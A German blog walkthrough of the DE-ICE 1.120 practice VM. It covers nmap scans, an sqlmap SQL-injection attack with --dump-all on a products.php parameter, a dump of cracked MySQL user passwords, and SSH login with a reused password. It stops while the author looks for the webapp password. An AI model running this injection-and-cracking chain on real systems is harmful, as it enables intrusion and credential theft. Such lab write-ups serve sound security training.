Irgendwie kam ich in den letzten Tagen auf die Idee mich mal wieder ein wenig mit Pentesting auseinanderzusetzen bzw. mal wieder einen Blick in die aktuelle Toollandschaft zu werfen. Also zog ich los um mir ein Pentestimage zu besorgen an dem ich mich ein wenig abarbeiten konnte. Fündig wurde ich bei Hackingdojo, wo ich die DE-ICE1.120 gefunden habe. Soweit ich mich erinnern konnte hatte ich mich an dieser noch nicht versucht. Also auf in den Kampf. Image laden, KVM einrichten, Netzwerk einrichten, Backtrack runterladen und dann konnte es losgehen.
Ganz so einfach war es diesmal zwar nicht weil ich mich bevor ich loslegen konnte wieder um mein Lab bemühen musste. KVM mit libvirt, ein isoliertes Netzwerk und ein kleines Openvpngateway später war ich dann so weit das ich wieder mit Tools spielen konnte ohne mein Produktivnetz zu gefährden, da ich eh gerade im Installationswahn war landete Backtrack direkt auf dem Labtop da Livecds auf die dauer ziemlich nerven. Damit war dann der Nebenkriegsschauplatz geschlossen, Zeit für ein wenig Spaß.
So los ging der Spaß, erstmal schauen wir mal wie das Netz aussieht.
root@bt:~# nmap -sP 192.168.1.0/24 Nmap scan report for 192.168.1.22 Host is up. Nmap scan report for 192.168.1.120 Host is up (0.0059s latency). MAC Address: 52:54:00:FD:F0:0A (QEMU Virtual NIC) Nmap done: 256 IP addresses (2 hosts up) scanned in 9.21 seconds
Sah doch schonmal so aus wie erwartet. 2 Hosts up, einer ich einer mein Target. Zeit für einen etwas genaueren Blick auf den Host.
# Nmap 6.25 scan initiated Mon Jan 28 16:38:48 2013 as: nmap -A -sC -sV -p 1-65535 -oA de-ice120 192.168.1.120 Nmap scan report for 192.168.1.120 Host is up (0.0050s latency). Not shown: 65530 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.2 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_dr-xr-xr-x 2 0 0 40 Jan 2 2011 incoming 22/tcp open ssh OpenSSH 5.1 (protocol 2.0) | ssh-hostkey: 1024 93:21:70:f8:62:e6:88:25:39:5a:fe:0f:2c:aa:86:0b (DSA) |_2048 6c:8f:22:85:c3:8c:5b:6c:56:82:c3:52:81:dd:f4:51 (RSA) 80/tcp open http Apache httpd 2.2.11 ((Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0) |_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-title: Primaline :: Quality Kitchen Accessories 443/tcp open ssl/http Apache httpd 2.2.11 ((Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0) |_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-title: Primaline :: Quality Kitchen Accessories | ssl-cert: Subject: commonName=localhost/organizationName=Apache Friends/stateOrProvinceName=Berlin/countryName=DE | Not valid before: 2004-10-01T08:10:30+00:00 |_Not valid after: 2010-09-30T08:10:30+00:00 |_ssl-date: 2013-01-28T15:39:52+00:00; +8s from local time. |_sslv2: server still supports SSLv2 3306/tcp open mysql MySQL (unauthorized) MAC Address: 52:54:00:FD:F0:0A (QEMU Virtual NIC) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.13 - 2.6.32 Network Distance: 1 hop Service Info: OS: Unix TRACEROUTE HOP RTT ADDRESS 1 5.01 ms 192.168.1.120 OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . # Nmap done at Mon Jan 28 16:39:44 2013 -- 1 IP address (1 host up) scanned in 57.14 seconds
Sieht doch mal ganz brauchbar aus. Einmal Apache mit Proftp,ssh und Mysql, sollte man sich doch mal genauer ansehen.
Also Browser auf und mal schauen was es da so schönes gibt. (Und ja, eine meiner ersten Amtshandlungen war einen ordentlichen Browser auf die Bactrack zu ziehen. Firefox geht mal so gar nicht!!!!!)
Also einen Designpreis gewinnt das Ding wohl nicht aber schauen wir mal weiter. Nach ein wenig qualifiziertem herumklicken sah die Seite dann so aus:
Da stechen einem doch auf Anhieb mal 2 Dinge ins Auge. Zum einen das Favicvon, XAMPP!!!. XAMPP auf ner Linuxkiste hat so ungefähr den Charm eines Ferrari mit 15″ Stahlfelgen. Wo XAMPP ist findet man meist auch ein PHPMYADMIN, das behalte ich dann fürs erste mal im Hinterkopf. Das zweite was mir ins Auge stach war die URL:
http://192.168.1.120/products.php?id=NULL
NULL klingt doch schonmal sehr vielversprechend. Also was nun zuerst? PhpMyAdmin suchen oder mal schauen was sich mit dem ID Parameter anstellen lässt. In der Backtracktoolliste findet sich ja einiges das man da jetzt benutzen könnte. Sqlmap hört sich doch für den Anfang mal ganz gut an, hab zwar mir dem Tool nicht wirklich Erfahrung aber ich hatte da was im Hinterkopf das es genau für diesen Zweck der Quasistandart ist. Testen schadet ja nicht, also schauen wir uns mal mit –help an was das Tool so alles kann.
root@bt:/pentest/database/sqlmap# ./sqlmap.py --help sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 14:31:05 Usage: python ./sqlmap.py [options] Options: -h, --help Show basic help message and exit -hh Show advanced help message and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be specified to set the source to get target urls from -d DIRECT Direct connection to the database -u URL, --url=URL Target url -l LOGFILE Parse targets from Burp or WebScarab proxy logs -m BULKFILE Scan multiple targets enlisted in a given textual file -r REQUESTFILE Load HTTP request from a file -g GOOGLEDORK Process Google dork results as target urls -c CONFIGFILE Load options from a configuration INI file Request: These options can be used to specify how to connect to the target url --data=DATA Data string to be sent through POST --param-del=PDEL Character used for splitting parameter values --cookie=COOKIE HTTP Cookie header --load-cookies=LOC File containing cookies in Netscape/wget format --cookie-urlencode URL Encode generated cookie injections --drop-set-cookie Ignore Set-Cookie header from response --user-agent=AGENT HTTP User-Agent header --random-agent Use randomly selected HTTP User-Agent header --randomize=RPARAM Randomly change value for given parameter(s) --force-ssl Force usage of SSL/HTTPS requests --host=HOST HTTP Host header --referer=REFERER HTTP Referer header --headers=HEADERS Extra headers (e.g. "Accept-Language: frnETag: 123") --auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM) --auth-cred=ACRED HTTP authentication credentials (name:password) --auth-cert=ACERT HTTP authentication certificate (key_file,cert_file) --proxy=PROXY Use a HTTP proxy to connect to the target url --proxy-cred=PCRED HTTP proxy authentication credentials (name:password) --ignore-proxy Ignore system default HTTP proxy --delay=DELAY Delay in seconds between each HTTP request --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) --retries=RETRIES Retries when the connection timeouts (default 3) --scope=SCOPE Regexp to filter targets from provided proxy log --safe-url=SAFURL Url address to visit frequently during testing --safe-freq=SAFREQ Test requests between two visits to a given safe url --skip-urlencode Skip URL encoding of POST data --eval=EVALCODE Evaluate provided Python code before the request (e.g. "import hashlib;id2=hashlib.md5(id).hexdigest()") Optimization: These options can be used to optimize the performance of sqlmap -o Turn on all optimization switches --predict-output Predict common queries output --keep-alive Use persistent HTTP(s) connections --null-connection Retrieve page length without actual HTTP response body --threads=THREADS Max number of concurrent HTTP(s) requests (default 1) Injection: These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts -p TESTPARAMETER Testable parameter(s) --dbms=DBMS Force back-end DBMS to this value --os=OS Force back-end DBMS operating system to this value --invalid-bignum Use big numbers for invalidating values --invalid-logical Use logical operations for invalidating values --no-cast Turn off payload casting mechanism --prefix=PREFIX Injection payload prefix string --suffix=SUFFIX Injection payload suffix string --skip=SKIP Skip testing for given parameter(s) --tamper=TAMPER Use given script(s) for tampering injection data Detection: These options can be used to specify how to parse and compare page content from HTTP responses when using blind SQL injection technique --level=LEVEL Level of tests to perform (1-5, default 1) --risk=RISK Risk of tests to perform (0-3, default 1) --string=STRING String to match when query is evaluated to True --regexp=REGEXP Regexp to match when query is evaluated to True --code=CODE HTTP code to match when query is evaluated to True --text-only Compare pages based only on the textual content --titles Compare pages based only on their titles Techniques: These options can be used to tweak testing of specific SQL injection techniques --technique=TECH SQL injection techniques to test for (default "BEUST") --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) --union-cols=UCOLS Range of columns to test for UNION query SQL injection --union-char=UCHAR Character to use for bruteforcing number of columns --dns-domain=DNAME Domain name used for DNS exfiltration attack Fingerprint: -f, --fingerprint Perform an extensive DBMS version fingerprint Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --is-dba Detect if the DBMS current user is DBA --users Enumerate DBMS users --passwords Enumerate DBMS users password hashes --privileges Enumerate DBMS users privileges --roles Enumerate DBMS users roles --dbs Enumerate DBMS databases --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --schema Enumerate DBMS schema --count Retrieve number of entries for table(s) --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries --search Search column(s), table(s) and/or database name(s) -D DB DBMS database to enumerate -T TBL DBMS database table to enumerate -C COL DBMS database table column to enumerate -U USER DBMS user to enumerate --exclude-sysdbs Exclude DBMS system databases when enumerating tables --start=LIMITSTART First query output entry to retrieve --stop=LIMITSTOP Last query output entry to retrieve --first=FIRSTCHAR First query output word character to retrieve --last=LASTCHAR Last query output word character to retrieve --sql-query=QUERY SQL statement to be executed --sql-shell Prompt for an interactive SQL shell Brute force: These options can be used to run brute force checks --common-tables Check existence of common tables --common-columns Check existence of common columns User-defined function injection: These options can be used to create custom user-defined functions --udf-inject Inject custom user-defined functions --shared-lib=SHLIB Local path of the shared library File system access: These options can be used to access the back-end database management system underlying file system --file-read=RFILE Read a file from the back-end DBMS file system --file-write=WFILE Write a local file on the back-end DBMS file system --file-dest=DFILE Back-end DBMS absolute filepath to write to Operating system access: These options can be used to access the back-end database management system underlying operating system --os-cmd=OSCMD Execute an operating system command --os-shell Prompt for an interactive operating system shell --os-pwn Prompt for an out-of-band shell, meterpreter or VNC --os-smbrelay One click prompt for an OOB shell, meterpreter or VNC --os-bof Stored procedure buffer overflow exploitation --priv-esc Database process' user privilege escalation --msf-path=MSFPATH Local path where Metasploit Framework is installed --tmp-path=TMPPATH Remote absolute path of temporary files directory Windows registry access: These options can be used to access the back-end database management system Windows registry --reg-read Read a Windows registry key value --reg-add Write a Windows registry key value data --reg-del Delete a Windows registry key value --reg-key=REGKEY Windows registry key --reg-value=REGVAL Windows registry key value --reg-data=REGDATA Windows registry key value data --reg-type=REGTYPE Windows registry key value type General: These options can be used to set some general working parameters -t TRAFFICFILE Log all HTTP traffic into a textual file --batch Never ask for user input, use the default behaviour --charset=CHARSET Force character encoding used for data retrieval --check-tor Check to see if Tor is used properly --crawl=CRAWLDEPTH Crawl the website starting from the target url --csv-del=CSVDEL Delimiting character used in CSV output (default ",") --dbms-cred=DCRED DBMS authentication credentials (user:password) --eta Display for each output the estimated time of arrival --flush-session Flush session files for current target --forms Parse and test forms on target url --fresh-queries Ignores query results stored in session file --hex Uses DBMS hex function(s) for data retrieval --output-dir=ODIR Custom output directory path --parse-errors Parse and display DBMS error messages from responses --replicate Replicate dumped data into a sqlite3 database --save Save options to a configuration INI file --tor Use Tor anonymity network --tor-port=TORPORT Set Tor proxy port other than default --tor-type=TORTYPE Set Tor proxy type (HTTP - default, SOCKS4 or SOCKS5) --update Update sqlmap Miscellaneous: -z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU") --beep Sound alert when SQL injection found --check-payload Offline WAF/IPS/IDS payload detection testing --check-waf Check for existence of WAF/IPS/IDS protection --cleanup Clean up the DBMS by sqlmap specific UDF and tables --dependencies Check for missing sqlmap dependencies --disable-hash Disable password hash cracking mechanism --disable-like Disable LIKE search of identificator names --gpage=GOOGLEPAGE Use Google dork results from specified page number --mobile Imitate smartphone through HTTP User-Agent header --page-rank Display page rank (PR) for Google dork results --purge-output Safely remove all content from output directory --smart Conduct through tests only if positive heuristic(s) --test-filter=TSTF Select tests by payloads and/or titles (e.g. ROW) --wizard Simple wizard interface for beginner users
Der passende Befehl lautet also:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://192.168.1.120/products.php?id=NULL --dump-all
Das –dump-all hielt ich für den Anfang für eine gute Wahl. Bei einer Pentestcd gibt es ja keinen Grund für falsche Zurückhaltung 😉
Was da auf der Konsole so an mir vorbeiflitzte sah mal eben richtig gut aus. Unter anderem eine Datenbank mit dem schönen Namen ‚phpmyadmin‘.
Gut, das mal so als Notiz am Rande, als sqlmap allerdings anfing sich durch die mysql Datenbank zu wühlen war ich schon etwas beeindruckt. Anscheinend hat da jemand für die Webseite einen Benutzer mit zu vielen Zugriffsrechten angelegt. Während ich noch am Staunen war was das kleine Tool da gerade leistet poppte eine kleine Frage von dem Tool vor mir auf.
[INFO] fetching entries for table 'user' in database 'mysql' [INFO] analyzing table dump for possible password hashes recognized possible password hashes in column 'Password'. Do you want to crack them via a dictionary-based attack? [Y/n/q]
Naja, dachte ich mir, wenn das Tool es schon anbietet gib halt mal Gas. Einmal Y und einmal Auswahl des default Wörterbuches später legte sqlmap auch schon wieder los. Das Ergebniss war beachtlich, einmal alle Passwörter bis auf eins, das der Webseite. Der .csv Dump der mysql.user Tabelle sah nachdem sqlmap durchgelaufen war so aus:
Host,User,Password,ssl_type,Drop_priv,File_priv,Grant_priv,Super_priv,Alter_priv,ssl_cipher,Index_priv,Event_priv,Create_priv,max_updates,Reload_priv,Delete_priv,Insert_priv,x509_issuer,Select_priv,Update_priv,Execute_priv,Show_db_priv,x509_subject,Process_priv,Trigger_priv,Shutdown_priv,max_questions,Show_view_priv,References_priv,max_connections,Repl_slave_priv,Repl_client_priv,Create_user_priv,Create_view_priv,Lock_tables_priv,Alter_routine_priv,Create_routine_priv,max_user_connections,Create_tmp_table_priv localhost,dgrant,*AA1420F182E88B9E5F874F6FBE7459291E8F4601 (qwerty),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,tgoodchap,*DF216F57F1F2066124E1AA5491D995C3CB57E4C2 (welcome),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,kclemons,*D183105443FBDE597607B8BC5475A9E1B7847F3E (gizmodo),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,jayala,*B2B366CA5C4697F31D4C55D61F0B17E70E5664EC (666666),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,dstevens,*84AAC12F54AB666ECFC2A83C676908C8BBC381B1 (12345678),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,qpowers,*79BF466BCC601BD91A0897BB162421F9BA8C29CA (lifehack),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,aharp,*2A032F7C5BA932872F0F045E0CF6B53CF702F2C5 (654321),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,swarren,*2CE4701D02A76C12CD513109CA16967A68B4C23A (princess),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,cchisholm,*ED043A01F4583450BC8EB1E83C00C372CA49C4E4 (michelle),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,jalcantar,*8D6A637F37955DBFCE1229204DDBED1CE11E6F41 (master),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,jfranklin,*6691484EA6B50DDDE1926A220DA01FA9E575C18A (abc123),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,lmartinez,*44FFB04331ADAECB1FAB104F634E9B066BF8C6DC (pokemon),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,sgains,*FD571203974BA9AFE270FE62151AE967ECA5E0AA (111111),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,jbresnahan,*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 (password),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,dtraylor,*C5FEAC8A32D4FAFF1EF681447DA706634352AFF8 (killer),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,dgilfillan,*00A51F3F48415C7D4E8908980D443C29C69B60C9 (12345),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,sjohnson,*D6B63C1953E7F096DB307F8AC48C4AD703E57001 (sunshine),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,aspears,*3EEB06BE54EABF909DC8F6107110777F1DE43186 (gawker),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,tdeleon,*74B1C21ACE0C2D6B0678A5E503D2A60E8F9651A3 (passw0rd),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,myajima,*7B2F14D9BB629E334CD49A1028BD85750F7D3530 (shadow),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,mnader,*90837F291B744BBE86DF95A37D2B2524185DBBF5 (whatever),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,ktso,*A7D31514D37A55CE91C6C5DF97299CBC1B1937EC (jordan),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,kwebber,*4DC6D98E4CF6200B9F5529AFDE2E3B909F41E4D0 (kotaku),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,aadams,*AE9F960F8FA0994C9878D2245DA640EAFF09BA0E (superman),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,rpatel,*B021918A5DCA54916CF724573179571DFC37AC88 (jennifer),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,djohnson,*FBA7C2D27C9D05F3FD4C469A1BBAF557114E5594 (Password),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,lmorales,*94F3DC3F398B76269CAAD51627279D4233A6C89A (soccer),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,amaynard,*626AC8265C7D53693CB7478376CE1B4825DFF286 (pepper),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,hlovell,*FCAAF3F0BD94C027B2769A95903C355CE6294660 (football),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,ccoffee,*3B477BC23EA39BFF66D64BFB68DB5EC5F5E31C91 (consumer),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,dwestling,*A4B6157319038724E3560894F7F932C8886EBFCF (1234),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,strammel,*81101DED975D54BD76A3C8EAD293597AE9BB143F (computer),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,bbanter,*DB1B792EC6DAE393BAE7AD832D3AF207C12E9A00 (michael),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,mholland,*D37C49F9CBEFBF8B6F4B165AC703AA271E079004 (letmein),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,aheflin,*51AA306E66303073DBA15D2750E23C90C7A7F947 (baseball),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,jdavenport,*61305383748FBEAB119F9A8BC35EBBADB4889A9D (babyl0n),,Y,Y,N,Y,Y,,Y,Y,Y,0,Y,Y,Y,,Y,Y,Y,Y,,Y,Y,Y,0,Y,Y,0,Y,Y,Y,Y,Y,Y,Y,0,Y localhost,aard,*797420C584EBF42750EB523104268BA0FD87FBC8 (internet),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,mbryan,*A5892368AE83685440A1E27D012306B073BDF5B7 (monkey),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,rdominguez,*46CFC7938B60837F46B610A2D10C248874555C14 (trustno1),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,dcooper,*446525BB82B5E22BD9E525261D37C494F623C52B (blahblah),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,jduff,*22AC3D548EB2C2A2F4E609ADA63251D0AF795AD9 (nintendo),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,jalvarez,*24B8599BAF46DD4B4D8DB50A3B10136457492622 (starwars),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,krenfro,*B12289EEF8752AD620294A64A37CD586223AB454 (0),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,mrodriguez,*6A7A490FB9DC8C33C2B025A91737077A7E9CC5E5 (1234567),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,bwatkins,*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 (123456),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,aweiland,*F8E113FD51D520075836A4B815568BA2B96F7C30 (dragon),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,bphillips,*7FD9F123C9FC025372A5AAD19D107783CD19CCF7 (cheese),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,aallen,*E56A114692FE0DE073F9A1DD68A00EEB9703F3F1 (123123),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,rjacobson,*F491287896471CB21030790BF46865C4A39DE651 (batman),,N,N,N,N,N,,N,N,N,0,N,N,N,,N,N,N,N,,N,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N localhost,webapp,*0DCC22A95EEBFF4984DF6A7B7F2D7D28DBB5F36F,,Y,Y,N,Y,Y,,Y,Y,Y,0,Y,Y,Y,,Y,Y,Y,Y,,Y,Y,Y,0,Y,Y,0,Y,Y,Y,Y,Y,Y,Y,0,Y
Wow, eine ganze Liste von Benutzernamen und Passwörtern für die Datenbank. Bringt mich jetzt allerdings beim MySql Dienst nicht so wirklich weiter da alle Benutzer auf localhost festgenagelt sind, ausserdem hab ich ja bereits alles was man so von einer Datenbank erwarten kann, was ich jetzt brauchte war eine Shell, also versuchen wir es ganz einfach mal mit den Benutzernamen und den Passwörtern per ssh. Für den Anfang nehme ich mal den Benutzer ‚jdavenport‘ da er der einzige ist der neben ‚webapp‘ erweiterte Rechte hat.
root@bt:~# ssh jdavenport@192.168.1.120 The authenticity of host '192.168.1.120 (192.168.1.120)' can't be established. RSA key fingerprint is ed:c6:39:58:4c:04:75:be:b8:b7:e1:4e:cc:20:ca:ab. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.1.120' (RSA) to the list of known hosts. jdavenport@192.168.1.120's password: Linux 2.6.27.27. jdavenport@slax:~$ ls -ahl /home/ total 0 dr-xr-xr-x 53 root root 1.1K Feb 1 10:36 ./ drwxr-xr-x 91 root root 280 Feb 1 10:36 ../ drwx------ 3 aadams users 100 Feb 1 10:36 aadams/ drwx------ 2 aallen users 100 Feb 1 10:36 aallen/ drwx------ 2 aard users 80 Feb 1 10:36 aard/ drwx------ 2 aharp users 80 Feb 1 10:36 aharp/ drwx------ 2 aheflin users 80 Feb 1 10:36 aheflin/ drwx------ 2 amaynard users 80 Feb 1 10:36 amaynard/ drwx------ 2 aspears users 100 Feb 1 10:36 aspears/ drwx------ 2 aweiland users 80 Feb 1 10:36 aweiland/ drwx------ 2 bbanter users 100 Feb 1 10:36 bbanter/ drwx------ 2 bphillips users 80 Feb 1 10:36 bphillips/ drwx------ 2 bwatkins users 80 Feb 1 10:36 bwatkins/ drwx------ 2 cchisholm users 100 Feb 1 10:36 cchisholm/ drwx------ 3 ccoffee users 120 Feb 1 10:36 ccoffee/ drwx------ 2 dcooper users 80 Feb 1 10:36 dcooper/ drwx------ 2 dgilfillan users 80 Feb 1 10:36 dgilfillan/ drwx------ 2 dgrant users 80 Feb 1 10:36 dgrant/ drwx------ 2 djohnson users 80 Feb 1 10:36 djohnson/ drwx------ 2 dstevens users 80 Feb 1 10:36 dstevens/ drwx------ 2 dtraylor users 80 Feb 1 10:36 dtraylor/ drwx------ 2 dwestling users 80 Feb 1 10:36 dwestling/ dr-xr-xr-x 3 root root 60 Jan 2 2011 ftp/ drwx------ 2 hlovell users 100 Feb 1 10:36 hlovell/ drwx------ 2 jalcantar users 80 Feb 1 10:36 jalcantar/ drwx------ 2 jalvarez users 100 Feb 1 10:36 jalvarez/ drwx------ 2 jayala users 80 Feb 1 10:36 jayala/ drwx------ 2 jbresnahan users 80 Feb 1 10:36 jbresnahan/ drwx------ 2 jdavenport users 120 Feb 1 10:36 jdavenport/ drwx------ 2 jduff users 100 Feb 1 10:36 jduff/ drwx------ 2 jfranklin users 80 Feb 1 10:36 jfranklin/ drwx------ 2 kclemons users 80 Feb 1 10:36 kclemons/ drwx------ 2 krenfro users 100 Feb 1 10:36 krenfro/ drwx------ 2 ktso users 100 Feb 1 10:36 ktso/ drwx------ 2 kwebber users 100 Feb 1 10:36 kwebber/ drwx------ 2 lmartinez users 100 Feb 1 10:36 lmartinez/ drwx------ 2 lmorales users 80 Feb 1 10:36 lmorales/ drwx------ 2 mbryan users 80 Feb 1 10:36 mbryan/ drwx------ 2 mholland users 80 Feb 1 10:36 mholland/ drwx------ 2 mnader users 100 Feb 1 10:36 mnader/ drwx------ 2 mrodriguez users 80 Feb 1 10:36 mrodriguez/ drwx------ 2 myajima users 80 Feb 1 10:36 myajima/ drwx------ 2 qpowers users 80 Feb 1 10:36 qpowers/ drwx------ 2 rdominguez users 80 Feb 1 10:36 rdominguez/ drwx------ 2 rjacobson users 80 Feb 1 10:36 rjacobson/ drwx------ 2 rpatel users 100 Feb 1 10:36 rpatel/ drwx------ 2 sgains users 80 Feb 1 10:36 sgains/ drwx------ 2 sjohnson users 80 Feb 1 10:36 sjohnson/ drwx------ 2 strammel users 80 Feb 1 10:36 strammel/ drwx------ 2 swarren users 80 Feb 1 10:36 swarren/ drwx------ 2 tdeleon users 80 Feb 1 10:36 tdeleon/ drwx------ 2 tgoodchap users 80 Feb 1 10:36 tgoodchap/ jdavenport@slax:~$
Siehe da mit ‚jdavenport‘ kommt man auf die Kiste und so wie es im /home Verzeichnis aussieht auch mit den anderen. Was jetzt? schauen wir erstmal wie das Passwort von ‚webapp‘ ist, der Vollständigkeit halber. Also erstmal Webverzeichnis suchen und dann mal schauen ob da so eine art Konfig rumliegt.
